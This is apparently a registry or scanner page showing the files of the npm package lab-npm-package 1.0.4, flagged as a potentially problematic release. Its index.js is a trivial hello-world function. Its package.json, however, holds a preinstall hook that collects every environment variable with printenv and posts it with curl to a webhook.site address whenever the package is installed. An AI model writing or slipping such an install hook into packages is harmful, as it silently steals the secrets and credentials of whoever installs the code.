lab-npm-package 1.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of lab-npm-package might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ //index.js
2
+
3
+ function helloNpm() {
4
+ return "hello NPM"
5
+ }
6
+
7
+ module.exports = helloNpm
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "lab-npm-package",
3
+ "version": "1.0.4",
4
+ "description": "This is a test package, please don't install and use this",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": ["my_env=$(printenv) && json_data='{'env_variable': '$my_env' }' && curl -X POST -H 'Content-Type: application/json' -d $json_data https://webhook.site/6c53f051-f81b-4ea1-853c-a4ea76539a5c"]
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
13
+
package/test/script.js ADDED
@@ -0,0 +1,5 @@
1
+ // test/script.js
2
+
3
+ const helloNpm = require('lab-npm-package')
4
+
5
+ console.log(helloNpm())